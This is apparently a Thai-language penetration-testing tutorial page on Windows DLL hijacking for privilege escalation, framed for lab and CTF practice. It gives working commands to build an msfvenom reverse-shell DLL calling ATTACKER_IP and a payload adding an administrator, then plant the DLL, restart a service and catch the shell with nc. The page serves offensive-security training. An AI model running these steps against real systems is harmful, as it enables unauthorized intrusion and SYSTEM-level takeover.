คลัง
windows-privesc

DLL Hijacking

DLL Hijacking ใช้ประโยชน์จากลำดับการค้นหา DLL ของ Windows — ถ้าโปรแกรม (ที่รันเป็น SYSTEM/admin) โหลด DLL โดยไม่ระบุ full path หรือ DLL หาไม่เจอ เราวาง DLL ปลอมใน path ที่ค้นก่อนเพื่อให้รันโค้ดเรา บทนี้ลงลึก DLL search order, การหาด้วย Procmon, การสร้าง DLL, และ exploit (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

IntermediateAdvanced#dll-hijacking#windows#privesc#dll-search-order#missing-dll#ctf

1. หลักการ — DLL search order

เมื่อโปรแกรมโหลด DLL โดยไม่ระบุ full path Windows ค้นตามลำดับ: (1) directory ของ exe, (2) System32, (3) System, (4) Windows, (5) current directory, (6) PATH ถ้า DLL ที่โปรแกรมต้องการหาไม่เจอ (missing DLL) หรือเราเขียน directory ที่ค้นก่อน DLL จริงได้ เราวาง DLL ปลอมชื่อเดียวกัน — โปรแกรมโหลดของเราแทน ถ้าโปรแกรมรันเป็น SYSTEM/admin, DLL ของเราก็รันด้วยสิทธิ์นั้น

เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest) เท่านั้น

2. หา DLL ที่ hijack ได้ (Procmon)

เครื่องมือหลักคือ Procmon (Sysinternals) — ดูว่าโปรแกรมพยายามโหลด DLL จากที่ไหนและอันไหนหาไม่เจอ

Procmon filter หา missing DLLWindows
# เปิด Procmon แล้วตั้ง filter:
#   Operation is CreateFile  (หรือ Load Image)
#   Path ends with .dll
#   Result is NAME NOT FOUND   ← DLL ที่หาไม่เจอ = hijackable!

# รัน/restart service หรือโปรแกรมเป้าหมาย → ดู Procmon
# มองหา: <process> พยายามโหลด X.dll จาก path ที่เราเขียนได้ → NAME NOT FOUND

# ตรวจว่า path นั้นเขียนได้ไหม
accesschk.exe -uwdq "C:\Path\Where\DLL\Searched\"

# PowerUp: Find-ProcessDLLHijack / Find-PathDLLHijack
Procmon: filter Result=NAME NOT FOUND + .dll → เห็น DLL ที่ขาด; ตรวจว่า path นั้นเขียนได้; PowerUp ช่วยหา

3. สร้าง malicious DLL

สร้าง DLL ด้วย msfvenomWindows
# === บนเครื่องเรา ===
# reverse shell DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o evil.dll
# หรือเพิ่ม admin
msfvenom -p windows/exec CMD="net localgroup administrators user /add" -f dll -o add.dll

# หรือเขียน DLL เอง (C) — payload ใน DllMain
# BOOL APIENTRY DllMain(...) { system("..."); return TRUE; }
# x86_64-w64-mingw32-gcc evil.c -shared -o evil.dll
msfvenom -f dll สร้าง DLL; payload รันใน DllMain ตอนถูกโหลด; ต้อง arch ตรง (x64/x86)

4. วาง DLL + trigger

วาง DLL ใน path ที่ค้นก่อน → triggerWindows
# วาง DLL ปลอมชื่อตรงกับที่โปรแกรมหา ใน path ที่เขียนได้ + ค้นก่อน
copy evil.dll "C:\Path\Where\Searched\missing.dll"

# trigger: restart service/โปรแกรม (หรือรอ/reboot)
sc stop "VulnService" & sc start "VulnService"
# หรือถ้าเป็นโปรแกรมที่ admin รันตอน login → รอ login

# → DLL โหลด → payload รันเป็น SYSTEM/admin
net localgroup administrators        # ตรวจ (ถ้าเพิ่ม admin)
วาง DLL ชื่อตรงกับที่ขาด ใน writable path ที่ค้นก่อน DLL จริง → restart/trigger → รันด้วยสิทธิ์โปรแกรม
DLL hijacking ใช้กับ service (ดู Win Services), scheduled task, และโปรแกรมที่ admin รัน — มองหา service/task ที่ restart ได้ + โหลด DLL ที่ขาดในpath ที่เราเขียนได้

5. Quick Reference

  • Windows ค้น DLL ตามลำดับ — missing/writable path = hijack
  • หา: Procmon filter Result=NAME NOT FOUND + .dll
  • ตรวจ writable: accesschk -uwdq path; PowerUp Find-*DLLHijack
  • สร้าง: msfvenom -f dll -o evil.dll (payload ใน DllMain)
  • วาง DLL ชื่อตรงที่ขาด ใน writable path ที่ค้นก่อน
  • trigger: restart service/task → รันเป็น SYSTEM/admin

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติ enum แล้วสงสัยว่ามี service/โปรแกรมที่โหลด DLL หายไปได้ มีแค่ Kali ทำตามนี้ทีละขั้น

  1. 1รัน winPEAS ก่อนเป็นด่านแรก: .\wp.exe quiet cmd fast ถ้าไม่เจอชัด ค่อยไล่ manual
  2. 2ใช้ PowerUp ช่วยหา (ไม่ต้องมี GUI): Import-Module .\PowerUp.ps1 แล้ว Find-ProcessDLLHijack และ Find-PathDLLHijack
  3. 3ถ้ามี GUI/RDP ใช้ Procmon ตั้ง filter Result is NAME NOT FOUND + Path ends with .dll แล้ว restart service เป้าหมาย ดูว่า DLL ไหนหาไม่เจอ
  4. 4ตรวจว่า path ที่มันหา DLL เป็น writable ไหม: icacls "C:\Path\Where\Searched\" หรือ accesschk.exe -uwdq "C:\Path"
  5. 5ถ้า writable กลับไป Kali สร้าง DLL: msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=4444 -f dll -o evil.dll
  6. 6เปิด listener บน Kali: nc -lvnp 4444
  7. 7ส่ง evil.dll เข้าเป้าหมายแล้ววางชื่อตรงกับ DLL ที่ขาด: copy evil.dll "C:\Path\Where\Searched\missing.dll"
  8. 8trigger ใหม่ (restart service ด้วย sc stop/start หรือรอ scheduled task/login)
  9. 9เช็ค listener ที่ Kali ว่าได้ shell กลับมาไหม แล้ว whoami ดูสิทธิ์
  10. 10ถ้าไม่เจอ DLL ที่ hijack ได้เลย ให้ไปเช็ค service permission หรือ unquoted path แทน
ตัดสินใจ: DLL hijacking ใช้ได้ไหม
รัน winPEAS / PowerUp Find-*DLLHijack
เจอ DLL ที่หาไม่เจอ + path เขียนได้ไหม?
✅ เจอ→ สร้าง evil.dll ด้วย msfvenom
❌ ไม่เจอ→ ไปเช็ค Windows Services misconfig แทน
วาง evil.dll ชื่อตรงที่ขาด ใน path นั้น
trigger (restart service/task) แล้วดู listener
ได้ shell กลับมาไหม?
✅ ได้→ เช็ค whoami ว่าเป็นสิทธิ์อะไร
❌ ไม่ได้ (arch ผิด/สิทธิ์ไม่พอ)→ ตรวจ arch x64/x86 ใหม่ หรือข้ามไปท่าอื่น
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
หา process/service เป้าหมายwinPEAS / PowerUp.ps1-winpeas (GitHub release ของ PEASS-ng)
ดู DLL load order แบบละเอียด (GUI)Procmon (Sysinternals, ต้องส่งเข้าไป)--
ตรวจ writable pathicacls / accesschk.exe--
สร้าง malicious DLLmsfvenom (metasploit-framework)--
ส่งไฟล์เข้าเป้าหมายpython3 -m http.server / impacket-smbserverpipx install impacket-
เปิด reverse shell listenernc / msfconsole-revshells.com
ดู LOLBin ช่วย execute/trigger--lolbas-project.github.io
🚑 ถ้าตันสนิท ลองท่าถัดไป: Win Services (แก้ binPath/binary ตรงๆ ง่ายกว่า DLL), Unquoted Service Path (ถ้า path มีช่องว่าง), Scheduled Tasks (ถ้า binary ที่ขาด DLL ถูกเรียกจาก task), หรือถ้าตันจริงๆ ไปหา credential จาก Credential Dumping

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้